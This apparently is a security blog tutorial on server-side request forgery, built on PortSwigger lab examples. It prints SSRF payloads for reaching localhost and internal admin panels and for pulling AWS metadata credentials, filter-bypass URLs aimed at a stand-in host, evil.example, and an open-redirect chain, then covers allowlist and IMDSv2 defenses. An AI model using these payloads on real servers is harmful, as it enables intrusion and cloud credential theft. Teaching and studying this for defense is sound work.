# A complete conquest of SSRF attacks [2026]: cloud-metadata theft, blind SSRF, filter bypass — a version faithful to the official docs

> An in-depth look at server-side request forgery (SSRF) attack techniques, faithful to the PortSwigger Web Security Academy. Reaching the server itself (localhost) and internal systems, stealing credentials from the cloud-metadata endpoint (169.254.169.254), bypassing blacklist/whitelist filters, bypass via an open redirect, OAST detection of blind SSRF where no response returns, and root-cause defense via an allowlist + IMDSv2 — explained limited to your own lab.

- Published: 2026-06-28
- Author: 友田 陽大
- Tags: セキュリティ, ホワイトハッカー, SSRF, 脆弱性診断, AWS
- URL: https://tomodahinata.com/en/blog/ssrf-attack-techniques-cloud-metadata-blind-filter-bypass-guide
- Category: 実践Webハッキング技法
- Pillar guide: https://tomodahinata.com/en/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide

## Key points

- The essence of SSRF is 'leaving the destination of a request to user input.' If you can make the server access an arbitrary URL, you can reach internal services or cloud metadata inside the firewall by borrowing the server's trust.
- The most dangerous target is cloud metadata (AWS/GCP/Azure's 169.254.169.254). If you can steal IAM temporary credentials from here, it leads to lateral movement across the entire cloud asset. IMDSv2 (token required) is the direct mitigation.
- Filter bypass: blacklists are bypassed with alternate notations of 127.0.0.1 (127.1/0x7f.../[::1]/decimal) or URL-parse inconsistencies, and whitelists are tricked with @-embedding, subdomains, and fragments. A stepping stone via an open redirect is also a staple.
- Blind SSRF: even with no response, detect it using external inbound as a signal with OAST like Burp Collaborator. It can lead to internal port scanning and, depending on conditions, RCE.
- The root-cause defense is 'don't let the user decide the destination.' An allowlist approach (fix scheme/host/port), metadata blocking, enforcing IMDSv2, and egress control for internal-facing communication, in multiple layers. Blacklists and WAFs are not a substitute for design.

---

SSRF (server-side request forgery) is one of the vulnerabilities whose **impact has expanded the most in the recent cloud era.** As [PortSwigger](https://portswigger.net/web-security/ssrf) defines it, it "makes a server-side app send a request to an unintended destination," and the essential terror lies in being able to **reach inside the firewall by borrowing the server's trust.** This article explains those attack techniques faithfully to the official source.

> **An absolute premise:** all payloads only within a [legal lab](/blog/ethical-hacking-home-lab-kali-juice-shop-ctf-self-study-roadmap-guide) or an authorized scope. **Metadata theft is a serious incident in a real cloud environment.** Don't exceed your own verification environment or an explicitly authorized range (→ [the legal guide](/blog/ethical-hacker-law-japan-unauthorized-access-act-active-cyber-defense-disclosure-guide)). The map is the [pillar](/blog/web-application-hacking-techniques-methodology-owasp-portswigger-guide).

---

## 1. The essence of SSRF — leaving the destination to input

Features that "given a URL, fetch and return/process its contents" are the breeding ground. Preview generation, webhooks, PDF conversion, image fetching, URL import, etc.

```http
# 脆弱な機能：商品在庫を外部APIから取得する。サーバーが url へアクセスする
POST /product/stock HTTP/1.1
Host: lab.example
Content-Type: application/x-www-form-urlencoded

stockApi=http://stock.internal:8080/check?productId=1
```

If the **attacker can swap** this `stockApi`, the server will access whatever destination it's told.

---

## 2. Reaching the server itself / internal systems

### 2.1 localhost (loopback)

Admin features tend to "trust requests from local." That's where you strike.

```http
stockApi=http://localhost/admin            # 外部からは入れない管理画面へ
stockApi=http://127.0.0.1/admin/delete?user=carlos
```

### 2.2 Internal network

Internal systems are **loosely authenticated and unreachable from outside** — which is exactly why they're prime targets. Scan the private address ranges (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`).

```http
stockApi=http://192.168.0.68/admin          # 内部ホストの管理面
# ブラインドなら、応答時間や成否で内部のポート/ホストの存在を推測（内部ポートスキャン）
```

---

## 3. [Most important] Stealing cloud metadata

A cloud instance can access the "instance metadata service (IMDS)" at the **link-local address `169.254.169.254`.** Since this can contain **IAM temporary credentials**, reaching it via SSRF leads to **lateral movement across the entire cloud asset.**

```http
# AWS（IMDSv1：トークン不要で読めてしまう＝危険）
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role名>
# → AccessKeyId / SecretAccessKey / Token が返る（奪取されると致命的）

# GCP（メタデータには専用ヘッダが要る）
#   Metadata-Flavor: Google ヘッダ付きで /computeMetadata/v1/ へ
```

### The core of defense: IMDSv2

AWS's **IMDSv2** makes it mandatory to **obtain a session token via PUT** before metadata retrieval, neutralizing simple GET-based SSRF.

```bash
# IMDSv2：まずトークンをPUTで取得しないと、その後のGETが拒否される
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/
```

Since most SSRF is a simple GET, **just enforcing IMDSv2 (`HttpTokens: required`) greatly lowers the metadata-theft risk.** Always enable it on EC2/ECS/EKS.

---

## 4. Filter bypass — the limits of blacklists/whitelists

### 4.1 Blacklist bypass

"Reject if it contains `127.0.0.1` or `localhost`" — this kind of defense is broken with **equivalent expressions.**

```http
http://127.1/                       # 短縮表記
http://0x7f000001/                  # 16進
http://2130706433/                  # 10進（127.0.0.1の整数値）
http://[::1]/                       # IPv6ループバック
http://127.0.0.1.nip.io/            # DNSで127.0.0.1へ解決される名前
http://localhost%2F..%2F.../        # URLパース不整合を突く
```

### 4.2 Whitelist bypass

"Allow if it starts with a specific domain" can also be tricked with **the ambiguity of the URL parser.**

```http
http://expected-host@evil.example/          # @ の前は資格情報、実際の宛先は evil
http://evil.example#expected-host           # フラグメントで誤認させる
http://expected-host.evil.example/          # サブドメインに偽装
```

### 4.3 Via an open redirect

If an allowed domain has an **open redirect**, you can use it as a stepping stone to jump to metadata.

```http
# 許可されたホストの /redirect が任意先へ飛ばすなら、それ経由でメタデータへ
stockApi=http://allowed-host/redirect?url=http://169.254.169.254/latest/meta-data/
```

For open-redirect defense in Next.js, see the [dedicated guide](/blog/nextjs-open-redirect-callback-url-prevention-guide). **SSRF and open redirects chain**, so you need to close both.

---

## 5. Blind SSRF — even when no response returns

As [PortSwigger](https://portswigger.net/web-security/ssrf/blind) defines, blind SSRF is where **the backend issues the request but its response doesn't return to the front.** For detection, use **OAST (out-of-band).**

```http
# Burp Collaborator のサブドメインを宛先にして、DNS/HTTPの着信を観測する
stockApi=http://<collaborator-id>.oastify.com/
# 着信があれば「サーバーが外部へリクエストを出せる」ことの証明 → SSRF確定
```

Even when blind, you can guess the open/closed state of internal ports by response time, or chain with another internal vulnerability to reach RCE. **"Invisible = safe" is false** — that's the terror of SSRF.

---

## 6. [Defender side] Root-cause defense — don't let the user decide the destination

Once you understand the attack, how do you crush it by design? The essence of PortSwigger and [OWASP SSRF Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) is the **allowlist approach.**

```ts
// ✅ 許可リスト：スキーム・ホスト・ポートを固定し、それ以外は即拒否
const ALLOWED_HOSTS = new Set(["api.partner.example", "cdn.partner.example"]);

function assertSafeUrl(raw: string): URL {
  const url = new URL(raw);
  // 1) スキームを https に限定（file: gopher: dict: 等を排除）
  if (url.protocol !== "https:") throw new Error("scheme not allowed");
  // 2) ホストを許可リストで検証（前方一致や正規表現ではなく完全一致）
  if (!ALLOWED_HOSTS.has(url.hostname)) throw new Error("host not allowed");
  // 3) 認証情報埋め込み（user@host）を拒否
  if (url.username || url.password) throw new Error("credentials in url");
  return url;
}
```

But this alone is weak against **DNS rebinding** (switching to an internal IP at resolution time). Solidify it in layers.

- **Verify the resolved IP**: just before connecting, check that the name-resolution result is **not in a private/link-local range (including `169.254.0.0/16`).**
- Configure it to **not follow redirects** (if you do, re-verify each hop).
- **Metadata blocking**: **block reachability to `169.254.169.254` at the network layer** and **enforce IMDSv2** (§3).
- **Egress control**: restrict outbound communication from the workload to only the necessary destinations (NAT/SG/network policy).
- **A WAF is one layer**: pattern detection can be bypassed, so design (the allowlist) is primary and the WAF secondary.

The implementation patterns for SSRF defense in Next.js Server Actions / Route Handlers are detailed in the [dedicated guide](/blog/nextjs-ssrf-prevention-server-actions-route-handlers-guide), and cloud-side defense in depth in the [WAF / defense-in-depth guide](/blog/waf-defense-in-depth-aws-waf-cloud-armor-owasp-guide).

---

## 7. Summary

- **The essence**: leaving the destination to user input gets the inside reached by borrowing the server's trust.
- **Most dangerous target**: cloud metadata (`169.254.169.254`) → IAM credential theft. **Enforcing IMDSv2 is the direct mitigation.**
- **Filters break**: blacklists by alternate notations, whitelists by `@`/subdomains, via open redirects.
- **Blind is detected with OAST**: even invisible, external inbound is the evidence.
- **Root-cause defense**: allowlist + resolved-IP verification + metadata blocking + egress control. The WAF is secondary.

Next, head to [the complete conquest of JWT attacks](/blog/jwt-attack-techniques-alg-none-key-confusion-secret-cracking-guide), which underpins modern authentication platforms.

---

### References (official primary sources)

- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf) / [Blind SSRF](https://portswigger.net/web-security/ssrf/blind)
- [OWASP: SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [AWS: Use IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html) / [OWASP Top 10:2025](https://owasp.org/Top10/2025/)